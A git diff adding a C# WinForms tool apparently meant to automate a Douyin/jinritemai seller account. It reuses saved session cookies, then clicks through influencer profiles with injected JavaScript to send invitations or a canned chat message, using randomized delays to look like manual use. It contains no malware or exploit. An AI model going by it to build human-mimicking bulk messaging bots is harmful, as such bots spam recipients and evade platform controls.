= "line3"; + this.line3.Size = new System.Drawing.Size(48, 21); + this.line3.TabIndex = 389; + this.line3.Text = "line3"; + this.line3.VerticalLine = true; + // + // line4 + // + this.line4.ForeColor = System.Drawing.Color.White; + this.line4.Location = new System.Drawing.Point(895, 2); + this.line4.Name = "line4"; + this.line4.Size = new System.Drawing.Size(48, 21); + this.line4.TabIndex = 390; + this.line4.Text = "line4"; + this.line4.VerticalLine = true; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.ForeColor = System.Drawing.Color.White; + this.label8.Location = new System.Drawing.Point(442, 30); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(89, 12); + this.label8.TabIndex = 406; + this.label8.Text = "沟通内容发送:"; + this.label8.Visible = false; + // + // DashBoardForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ClientSize = new System.Drawing.Size(1200, 680); + this.Controls.Add(this.splitContainer1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "DashBoardForm"; + this.Padding = new System.Windows.Forms.Padding(2); + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "DashBoardForm"; + this.Load += new System.EventHandler(this.DashBoardForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.pnlBanner.ResumeLayout(false); + this.pnlBanner.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.PanelEx pnlBanner; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TextBox txtSuccessCount; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TextBox txtInterval; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox txtTotalPage; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtCurrentPage; + private System.Windows.Forms.TextBox textBox3; + private DevComponents.DotNetBar.PanelEx max; + private DevComponents.DotNetBar.PanelEx min; + private DevComponents.DotNetBar.PanelEx close; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbShop; + private DevComponents.DotNetBar.PanelEx pnlMainForm; + private DevComponents.DotNetBar.PanelEx pnlDetailForm; + private UserControls.ButtonEx btnSend; + private UserControls.ButtonEx btnLoginDouyin; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label6; + private DevComponents.DotNetBar.Controls.Line line1; + private DevComponents.DotNetBar.Controls.Line line2; + private DevComponents.DotNetBar.Controls.Line line3; + private DevComponents.DotNetBar.Controls.Line line4; + private System.Windows.Forms.TextBox txtChatWords; + private System.Windows.Forms.RadioButton rbChat; + private System.Windows.Forms.RadioButton rbInvite; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + } +} \ No newline at end of file diff --git a/TEMUKJD/DashBoardForms/DashBoardForm.cs b/TEMUKJD/DashBoardForms/DashBoardForm.cs new file mode 100644 index 0000000..6c5df51 --- /dev/null +++ b/TEMUKJD/DashBoardForms/DashBoardForm.cs @@ -0,0 +1,828 @@ +using AllBase; +using AllBase.Helper; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.Util; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.DashBoardForms +{ + public partial class DashBoardForm : Form + { + public enum InviteTypeEnum + { + Invite, + Chat, + } + + public class DaRenSettings + { + /// + /// 要采集的总页码数量 + /// + public int TotalPage { get; set; } = 10; + /// + /// 发送邀约操作操作间隔时间 + /// + public int Interval { get; set; } = 10; + /// + /// 翻页操作间隔时间 + /// + public int PageInterval { get; set; } = 10; + public string ChatWords { get; set; } = "老板您好!"; + public InviteTypeEnum InviteType { get; set; } = InviteTypeEnum.Invite; + } + + private Point mouseOffset; // 记录鼠标指针的坐标 + private bool isMouseDown; // 记录鼠标左键是否按下 + + private ChromiumWebBrowser cefWebBrowser = null; + private ChromiumWebBrowser cefWebBrowserDetail = null; + private DaRenSettings drSetting; + private bool IsOpenDaRenPage = false; + + public DashBoardForm() + { + InitializeComponent(); + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + } + + private void DashBoardForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + this.Icon = BaseClass.Ico; + + this.WindowState = FormWindowState.Maximized; + max.Style.BackgroundImage = Properties.Resources.normal; + max.StyleMouseOver.BackgroundImage = Properties.Resources.normal_hover; + this.Padding = new Padding(2); + + this.drSetting = NaiBa.Util.Helper.ConfigHelper.LoadConfig("daren_settings"); + if (drSetting == null) + drSetting = new DaRenSettings(); + + this.txtChatWords.Text = drSetting.ChatWords; + this.txtInterval.Text = drSetting.Interval.ToString(); + this.txtTotalPage.Text = drSetting.TotalPage.ToString(); + this.rbInvite.CheckedChanged -= rbInvite_CheckedChanged; + this.rbChat.CheckedChanged -= rbChat_CheckedChanged; + if (drSetting.InviteType == InviteTypeEnum.Invite) + this.rbInvite.Checked = true; + else + this.rbChat.Checked = true; + this.rbInvite.CheckedChanged += rbInvite_CheckedChanged; + this.rbChat.CheckedChanged += rbChat_CheckedChanged; + rbInvite.Checked = true; + + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + this.cmbShop.Items.Add(shop.ShopAccount); + } + this.cmbShop.SelectedIndex = 0; + + string cookie = ""; + if (GlobalConfig.DouShopLoginList.Count > 0) + { + cookie = GlobalConfig.DouShopLoginList[0].Cookies; + } + InitCef(cookie); + } + + private void close_Click(object sender, EventArgs e) + { + { + if (BaseMsgForm.ShowConfirm("是否关闭客户端?", "系统提示", FormLevel.SMALL).DialogResult.Equals(DialogResult.Cancel)) + return; + else + Process.GetCurrentProcess().Kill(); + } + } + + private void max_Click(object sender, EventArgs e) + { + if (WindowState.Equals(FormWindowState.Normal)) + { + WindowState = FormWindowState.Maximized; + max.Style.BackgroundImage = Properties.Resources.normal; + max.StyleMouseOver.BackgroundImage = Properties.Resources.normal_hover; + this.Padding = new Padding(0); + } + else if (WindowState.Equals(FormWindowState.Maximized)) + { + WindowState = FormWindowState.Normal; + max.Style.BackgroundImage = Properties.Resources.max; + max.StyleMouseOver.BackgroundImage = Properties.Resources.max_hover; + this.Padding = new Padding(1); + } + } + + private void min_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + ShowInTaskbar = true; + } + private void pnlBanner_MouseDoubleClick(object sender, MouseEventArgs e) + { + max_Click(null, null); + } + + private void pnlBanner_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void pnlBanner_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + { + //获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void pnlBanner_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + void InitCef(string cookie = "") + { + string mainUrl = "https://fxg.jinritemai.com/ffa/mshop/homepage/index"; + //mainUrl = "https://buyin.jinritemai.com/mpa/account/roles-select?target_url=/dashboard/servicehall/daren-square"; + string darenUrl = "https://buyin.jinritemai.com/dashboard/servicehall/daren-square"; + // GlobalConfig.DouUserCookies; + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", true); + var lifeSapnHandler = new LifeSpanHandlerLocal(PopWindowType.NewTitleWindow); + lifeSapnHandler.OnPop += LifeSapnHandler_OnPop; + cefWebBrowser.LifeSpanHandler = lifeSapnHandler; + cefWebBrowser.KeyboardHandler = new NaiBa.CefHelper.Handler.KeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.Dock = DockStyle.Fill; + + //var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, cefWebBrowser.RequestContext.GetCookieManager(null)); + var cookieManager = Cef.GetGlobalCookieManager(); + //cookieManager.SetStoragePath(Environment.CurrentDirectory, true); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, cookieManager); + + splitContainer1.Panel2.Controls.Add(cefWebBrowser); + + Task.Run(() => + { + while (true) + { + Thread.Sleep(15000); + + //var jsCode = "window.localStorage;"; + //var task = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + //task.Wait(5000); + //var result = task.Result.Result; + //var dic = result as IDictionary; + //GlobalConfig.dicLocalStorage = dic; + //StartUp.SaveDouLocalStorage(); + } + }); + + Task.Run(() => + { + do + { + Thread.Sleep(10); + } + while (cefWebBrowser == null || !cefWebBrowser.IsBrowserInitialized || cefWebBrowser.IsLoading); + + var jsCode = ""; + if (GlobalConfig.dicLocalStorage != null) + { + foreach (var key in GlobalConfig.dicLocalStorage.Keys) + { + if (GlobalConfig.dicLocalStorage[key] is string) + { + jsCode += "localStorage.setItem('" + key + "', '" + GlobalConfig.dicLocalStorage[key] + "');\r\n"; + } + } + var ta0 = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + ta0.Wait(5000); + } + + cefWebBrowser.Load("https://fxg.jinritemai.com/ffa/mshop/homepage/index"); + do + { + Thread.Sleep(1000); + } + while (cefWebBrowser.IsLoading); + Thread.Sleep(AllBase.Randomx.GetId(5000, 6000)); + + var jsStr = clickJsElementStr + "getElement('精选联盟').click();"; + var ta2 = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + ta2.Wait(8000); + do + { + Thread.Sleep(1000); + } + while (cefWebBrowser.IsLoading); + Thread.Sleep(AllBase.Randomx.GetId(2000, 3000)); + + retry: + jsStr = "window.location.href='" + darenUrl + "';"; + var ta3 = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + ta3.Wait(8000); + do + { + Thread.Sleep(1000); + } + while (cefWebBrowser.IsLoading); + Thread.Sleep(AllBase.Randomx.GetId(4000, 5000)); + + jsStr = clickJsElementStr + + "function clickBtn(txt) {\r\n" + + " if (document.body.innerHTML.indexOf('加载失败') >= 0)\r\n" + + " return '加载失败';\r\n" + + " return 'ok';\r\n" + + "}\r\n" + + "clickBtn('添加商品');\r\n"; + var ta4 = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + ta4.Wait(); + if (ta4.Result?.Result?.ToString() == "加载失败" || ta4.Result?.Result?.ToString() == null) + goto retry; + + var sleepTime = 2500; + while (true) + { + try + { + Thread.Sleep(sleepTime); + var jsStr1 = + "function ClosePopWindow(txt) {\r\n" + + " var result = 'no_pop'\r\n" + + " var item = document.getElementsByClassName(txt);\r\n" + + " if (document.body.innerHTML.indexOf('重要消息') < 0) return result;\r\n" + + " for(i = 0; i < item.length; i++) {\r\n" + + " item[i].click();\r\n" + + " result = 'success'\r\n" + + " }\r\n" + + " return result;\r\n" + + "}\r\n" + + "ClosePopWindow('anticon-close-circle');\r\n" + + "ClosePopWindow('ant-modal-close-x');\r\n"; + var jsStr2 = "function clickPopWindow(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1 && element1.innerHTML === txt) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_pop';\r\n" + + "}\r\n" + //+ "clickPopWindow('我知道了');\r\n" + + "clickPopWindow('知道了');\r\n" + + "clickPopWindow('完 成');\r\n" + + "clickPopWindow('下一个');\r\n"; + var success1 = false; + if (cefWebBrowser.IsBrowserInitialized && !cefWebBrowser.IsLoading) + { + var t1 = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr1); + t1.Wait(1000); + var t2 = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr2); + t2.Wait(1000); + if (t1.Result?.Result?.ToString() == "success" || t2.Result?.Result?.ToString() == "success") + success1 = true; + else + success1 = false; + } + var success2 = false; + if (cefWebBrowserDetail != null && cefWebBrowserDetail.IsBrowserInitialized && !cefWebBrowserDetail.IsLoading) + { + var t1 = cefWebBrowserDetail.GetMainFrame().EvaluateScriptAsync(jsStr1); + t1.Wait(1000); + var t2 = cefWebBrowserDetail.GetMainFrame().EvaluateScriptAsync(jsStr2); + t2.Wait(1000); + if (t1.Result?.Result?.ToString() == "success" || t2.Result?.Result?.ToString() == "success") + success2 = true; + else + success2 = false; + } + if (success1 || success2) + { + sleepTime = Randomx.GetId(550, 650); + } + else + sleepTime = Randomx.GetId(1500, 2000); + } + catch (Exception ex) { } + } + }); + } + else + { + //CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.DeleteCookie(Cef.GetGlobalCookieManager()); + + //var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, cefWebBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, Cef.GetGlobalCookieManager()); + t.Wait(5000); + + cefWebBrowser.Load(mainUrl); + } + } + + private void LifeSapnHandler_OnPop(object sender, PopData e) + { + if (e.Url == "https://fxg.jinritemai.com/alliance/common/redirectBuyin?target_url=%2Fdashboard") + { + cefWebBrowser.Load(e.Url); + return; + } + + string cookie = GlobalConfig.DouUserCookies; + if (cefWebBrowserDetail == null) + { + //cefWebBrowserDetail = CEFBrowser.CreateChromiumWebBrowser(e.Url, false); + cefWebBrowserDetail = CEFBrowser.CreateChromiumWebBrowser(e.Url); + var lifeSapnHandler = new LifeSpanHandlerLocal(PopWindowType.NewTitleWindow); + lifeSapnHandler.OnPop += LifeSapnHandler_OnPop; + cefWebBrowserDetail.LifeSpanHandler = lifeSapnHandler; + cefWebBrowserDetail.KeyboardHandler = new NaiBa.CefHelper.Handler.KeyboardHandler(); + cefWebBrowserDetail.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowserDetail.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowserDetail.Dock = DockStyle.Fill; + + //var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, cefWebBrowserDetail.RequestContext.GetCookieManager(null)); + //var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, Cef.GetGlobalCookieManager()); + + Task.Run(() => + { + while (true) + { + Thread.Sleep(15000); + + //var jsCode = "window.localStorage;"; + //var task = cefWebBrowserDetail.GetMainFrame().EvaluateScriptAsync(jsCode, null); + //task.Wait(5000); + //var result = task.Result.Result; + //var dic = result as IDictionary; + //GlobalConfig.dicLocalDetailStorage = dic; + //StartUp.SaveDouLocalDetailStorage(); + } + }); + + Invoke(new Action(() => + { + splitContainer1.Panel2.Controls.Add(cefWebBrowserDetail); + btnDetailForm_Click(null, null); + pnlDetailForm.Visible = true; + })); + } + else + { + cefWebBrowserDetail.Load(e.Url); + Invoke(new Action(() => + { + btnDetailForm_Click(null, null); + })); + } + + Task.Run(() => + { + for (int i = 0; i < 1000 && (cefWebBrowserDetail.IsBrowserInitialized == false || cefWebBrowserDetail.IsLoading); i++) + { + Thread.Sleep(10); + } + + var jsCode = ""; + if (GlobalConfig.dicLocalDetailStorage != null) + { + foreach (var key in GlobalConfig.dicLocalDetailStorage.Keys) + { + if (GlobalConfig.dicLocalDetailStorage[key] is string) + { + jsCode += "localStorage.setItem('" + key + "', '" + GlobalConfig.dicLocalDetailStorage[key] + "');\r\n"; + } + } + cefWebBrowserDetail.GetBrowser().MainFrame.ExecuteJavaScriptAsync(jsCode); + } + + // 达人邀约 + if (drSetting.InviteType == InviteTypeEnum.Invite) + { + if (IsOpenDaRenPage) + { + while (cefWebBrowserDetail.IsLoading) + Thread.Sleep(Randomx.GetId(500, 800)); + retry1: + Thread.Sleep(Randomx.GetId(500, 1000)); + jsCode = "function jsFunc1() {" + + " if (document.body.innerHTML.indexOf('>待回复') > 0 || document.body.innerHTML.indexOf('>已同意') > 0) " + + " return 'had';" + + " if (document.getElementsByClassName('contact-btn-text text4').length > 0) {" + + " document.getElementsByClassName('contact-btn-text text4')[0].click(); " + + " return 'ok';" + + " }" + + " return document.body.innerHTML.indexOf('加载失败,请稍后重试') >= 0 ? 'error' : 'noBtn'; " + + "} " + + "jsFunc1();"; + var t1 = cefWebBrowserDetail.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + t1.Wait(2000); + if (t1.Result?.Result?.ToString() == "had") + { + IsOpenDaRenPage = false; + return; + } + else if (t1.Result?.Result?.ToString() != "ok") + { + Thread.Sleep(Randomx.GetId(800, 1500)); + if (t1.Result?.Result?.ToString() == null || t1.Result?.Result?.ToString() == "error") + { + cefWebBrowserDetail.Reload(); + } + goto retry1; + } + Thread.Sleep(Randomx.GetId(500, 800)); + } + if (IsOpenDaRenPage) + { + Thread.Sleep(Randomx.GetId(500, 800)); + jsCode = "function jsFx() {var btns = document.getElementsByClassName('ant-btn ant-btn-primary');" + + " for (i = 0; i < btns.length; i++) " + + " {" + + " if (btns[i].innerHTML.indexOf('我知道了') > 0)" + + " {" + + " btns[i].click();" + + " }" + + " }" + + "} jsFx();"; + var tx = cefWebBrowserDetail.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + tx.Wait(2000); + + Thread.Sleep(Randomx.GetId(500, 800)); + retry2: + Thread.Sleep(Randomx.GetId(1200, 2400)); + jsCode = "function jsFunc2() { document.getElementsByClassName('text4 add-product-last-operate')[0].click(); return 'ok'} jsFunc2();"; + var t2 = cefWebBrowserDetail.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + t2.Wait(2000); + if (t2.Result?.Result?.ToString() != "ok") + { + Thread.Sleep(Randomx.GetId(300, 500)); + goto retry2; + } + Thread.Sleep(Randomx.GetId(500, 800)); + } + if (IsOpenDaRenPage) + { + Thread.Sleep(Randomx.GetId(500, 800)); + jsCode = "function jsFunc3() {" + + " var btns = document.getElementsByClassName('auxo-btn auxo-btn-primary');" + + " for (i = 0; i < btns.length; i++) " + + " {" + + " if (btns[i].innerHTML.indexOf('发送邀约') > 0)" + + " {" + + " btns[i].click(); return 'ok';" + + " }" + + " }" + + "} " + + "jsFunc3();"; + var t3 = cefWebBrowserDetail.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + t3.Wait(2000); + + Invoke(new Action(() => + { + this.txtSuccessCount.Text = (Convert.ToInt32(this.txtSuccessCount.Text) + 1).ToString(); + })); + IsOpenDaRenPage = false; + } + } + // 在线沟通 + else + { + // 点击沟通按钮 + if (IsOpenDaRenPage) + { + chatRetry: + while (cefWebBrowserDetail.IsLoading) + Thread.Sleep(Randomx.GetId(500, 1000)); + jsCode = "function jsFunc1() { " + + " if (document.body.innerHTML.indexOf('>待回复') > 0 || document.body.innerHTML.indexOf('>已同意') > 0) {" + + " return 'had';" + + " }" + + " var btns = document.getElementsByClassName('contact-btn-text text4');" + + " for (i = 0; i < btns.length; i++) {" + + " if (btns[i].innerHTML.indexOf('在线沟通') >= 0) {" + + " btns[i].click(); return 'ok';" + + " }" + + " }" + + " return document.body.innerHTML.indexOf('加载失败,请稍后重试') >= 0 ? 'error' : 'noBtn'; " + + "}" + + "jsFunc1();"; + var t1 = cefWebBrowserDetail.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + t1.Wait(2000); + if (t1.Result?.Result?.ToString() == "had") + { + IsOpenDaRenPage = false; + return; + } + else if (t1.Result?.Result?.ToString() != "ok") + { + Thread.Sleep(Randomx.GetId(800, 1500)); + if (t1.Result?.Result?.ToString() == "error") + { + cefWebBrowserDetail.Reload(); + } + goto chatRetry; + } + Thread.Sleep(Randomx.GetId(500, 800)); + } + + // 点击沟通对话框 + if (IsOpenDaRenPage) + { + chatRetry: + while (cefWebBrowserDetail.IsLoading) + Thread.Sleep(Randomx.GetId(500, 1000)); + Thread.Sleep(2500); + jsCode = "function jsFuncChat() {" + + " if (document.getElementsByClassName('im-textarea text-area')[0]) {" + + " var txt1 = document.getElementsByClassName('im-textarea text-area')[0];" + + " txt1.focus(); txt1.click(); txt1.innerHTML = '" + drSetting.ChatWords + " ';" + + " return 'ok';" + + " }" + + " return 'noBtn'" + + "}" + + "jsFuncChat();"; + var t1 = cefWebBrowserDetail.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + t1.Wait(2000); + if (t1.Result?.Result?.ToString() != "ok") + { + Thread.Sleep(Randomx.GetId(300, 500)); + if (t1.Result?.Result?.ToString() == null || t1.Result?.Result?.ToString() == "error") + { + //cefWebBrowserDetail.Reload(); + } + goto chatRetry; + } + Thread.Sleep(Randomx.GetId(500, 800)); + + chatSendRetry: + + var host = cefWebBrowserDetail.GetBrowser().GetHost(); + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 8, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.None }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + + while (cefWebBrowserDetail.IsLoading) + Thread.Sleep(Randomx.GetId(500, 1000)); + while (true) + { + break; + } + Thread.Sleep(2500); + jsCode = "function jsFuncChatSend() { " + + " document.getElementsByClassName('send-button')[0].click();" + + " return 'ok';" + + "}" + + "jsFuncChatSend();"; + var t2 = cefWebBrowserDetail.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + t2.Wait(2000); + if (t2.Result?.Result?.ToString() != "ok") + { + Thread.Sleep(Randomx.GetId(300, 500)); + if (t2.Result?.Result?.ToString() == null || t2.Result?.Result?.ToString() == "error") + { + //cefWebBrowserDetail.Reload(); + } + goto chatSendRetry; + } + + Invoke(new Action(() => + { + this.txtSuccessCount.Text = (Convert.ToInt32(this.txtSuccessCount.Text) + 1).ToString(); + })); + IsOpenDaRenPage = false; + } + } + }); + } + + private void CefWebBrowser_AddressChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + Invoke(new Action(() => { this.textBox3.Text = e.Address; })); + if (e.Address.Contains("https://buyin.jinritemai.com/dashboard")) //https://fxg.jinritemai.com/ffa/mshop/homepage/index + { + Task.Run(() => + { + //AllBase.Helper.GlobalConfig.DouUserCookies = CEFBrowser.GetCookie("", cefWebBrowser.RequestContext.GetCookieManager(null)); + GlobalConfig.DouUserCookies = CEFBrowser.GetCookie("jinritemai.com", Cef.GetGlobalCookieManager()); + StartUp.SaveDouUserCookies(); + }); + } + } + + private void CefWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + } + + //int totalPage = 10; + int currentPage = 1; + //int pageTimeInterval = 10; // 翻页间隔秒数 + private void btnSend_Click(object sender, EventArgs e) + { + try + { + this.txtSuccessCount.Text = "0"; + Task.Run(() => { GetDaRen(); }); + } + catch + { + BaseMsgForm.ShowError("请注意参数格式。"); + } + } + + void GetDaRen() + { + while (currentPage <= drSetting.TotalPage) + { + var html = GetCefHtml(cefWebBrowser); + var items = BaseRegex.GetMatchRegex(ref html, "data-item-uid=\"([\\s\\S]+?)\""); + List daRenIdList = new List(); + foreach (Match m in items) + { + daRenIdList.Add(m.Groups[1].ToString()); + } + + var jsCode = ""; + for (int i = 0; i < daRenIdList.Count; i++) + { + Invoke(new Action(() => { btnMainForm_Click(null, null); })); + jsCode = "document.getElementsByClassName('daren-card')[" + i + "].click();"; + cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + //i += 20; // 测试翻页 + + IsOpenDaRenPage = true; + while (IsOpenDaRenPage) + { + Thread.Sleep(50); + } + //while (cefWebBrowserDetail == null || !daRenIdList.Any(d => cefWebBrowserDetail.Address.Contains(d))) + //{ + // Thread.Sleep(50); + //} + //while (cefWebBrowserDetail.IsLoading) + //{ + // Thread.Sleep(50); + //} + + Thread.Sleep(drSetting.Interval * Randomx.GetId(1000, 1200)); + } + + Invoke(new Action(() => { btnMainForm_Click(null, null); })); + Thread.Sleep(Randomx.GetId(1000, 1200)); + jsCode = "document.getElementsByClassName('anticon anticon-right')[0].click();"; + cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + Thread.Sleep(drSetting.PageInterval * Randomx.GetId(1000, 1200)); + currentPage++; + Invoke(new Action(() => { txtCurrentPage.Text = "" + currentPage; })); + } + } + + string GetCefHtml(ChromiumWebBrowser browser) + { + if (browser.IsBrowserInitialized) + { + var task = browser.GetBrowser().MainFrame.GetSourceAsync(); + task.Wait(); + Thread.Sleep(50); + return task.Result; + } + return ""; + } + + private void btnMainForm_Click(object sender, EventArgs e) + { + if (cefWebBrowser != null) + cefWebBrowser.BringToFront(); + + pnlDetailForm.Style.BackColor1.Color = pnlDetailForm.Style.BackColor2.Color = Color.FromArgb(175, 210, 255); + pnlMainForm.Style.BackColor1.Color = pnlMainForm.Style.BackColor2.Color = Color.White; + pnlDetailForm.Location = new Point(pnlDetailForm.Location.X, 44); + pnlMainForm.Location = new Point(pnlMainForm.Location.X, 42); + } + + private void btnDetailForm_Click(object sender, EventArgs e) + { + if (cefWebBrowserDetail != null) + cefWebBrowserDetail.BringToFront(); + + pnlDetailForm.Style.BackColor1.Color = pnlDetailForm.Style.BackColor2.Color = Color.White; + pnlMainForm.Style.BackColor1.Color = pnlMainForm.Style.BackColor2.Color = Color.FromArgb(175, 210, 255); + pnlDetailForm.Location = new Point(pnlDetailForm.Location.X, 42); + pnlMainForm.Location = new Point(pnlMainForm.Location.X, 44); + } + + private void btnLoginDouyin_Click(object sender, EventArgs e) + { + string cookie = ""; + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccount == cmbShop.SelectedItem.ToString()); + if (shop != null) + cookie = shop.Cookies; + InitCef(cookie); + } + + private void rbInvite_CheckedChanged(object sender, EventArgs e) + { + if (rbInvite.Checked) + { + drSetting.InviteType = InviteTypeEnum.Invite; + SaveDRSetting(); + } + } + + private void rbChat_CheckedChanged(object sender, EventArgs e) + { + if (rbChat.Checked) + { + drSetting.InviteType = InviteTypeEnum.Chat; + SaveDRSetting(); + } + } + + private void txtChatWords_TextChanged(object sender, EventArgs e) + { + drSetting.ChatWords = txtChatWords.Text; + SaveDRSetting(); + } + + private void txtInterval_TextChanged(object sender, EventArgs e) + { + if (txtInterval.Text.ParseToInt() < 10) + txtInterval.Text = "10"; + drSetting.Interval = drSetting.PageInterval = txtInterval.Text.ParseToInt(); + SaveDRSetting(); + } + + private void txtTotalPage_TextChanged(object sender, EventArgs e) + { + drSetting.TotalPage = txtInterval.Text.ParseToInt(); + SaveDRSetting(); + } + + private void SaveDRSetting() + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig("daren_settings", drSetting); + } + + private void textBox3_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + cefWebBrowser.Load(textBox3.Text); + } + } + + public string clickJsElementStr = "function getElement(txt, elem) {\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " return element1;\r\n" + + " } else return error;\r\n" + + "}\r\n"; + } +} diff --git a/TEMUKJD/DashBoardForms/DashBoardForm.resx b/TEMUKJD/DashBoardForms/DashBoardForm.resx new file mode 100644 index 0000000..b4b6f09 --- /dev/null +++ b/TEMUKJD/DashBoardForms/DashBoardForm.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + \ No newline at end of file diff --git a/TEMUKJD/Extension/DataGridViewExtension.cs b/TEMUKJD/Extension/DataGridViewExtension.cs new file mode 100644 index 0000000..b69d2e7 --- /dev/null +++ b/TEMUKJD/Extension/DataGridViewExtension.cs @@ -0,0 +1,239 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.Extension +{ + public static class DataGridViewExtension + { + public static object GetCellValueFromColumnName(this DataGridViewCellCollection CellCollection, string name) + { + return CellCollection.Cast().FirstOrDefault(c => c.OwningColumn.Name == name)?.Value; + } + + public static CheckBox AddSelectorColumn(this DataGridView dgv, string columnName = "Selected", Action addHeaderCheckBoxOverride = null) + { + if (dgv.Columns[columnName] == null) + { + //var dt = dgv.Table(); + + //var dcol = new DataColumn(columnName, typeof(bool)); + //dt.Columns.Add(dcol); + + //dt.ColumnChanged += (s, e) => + //{ + // var chCols = e.Row.GetChangedColumns(); + // if 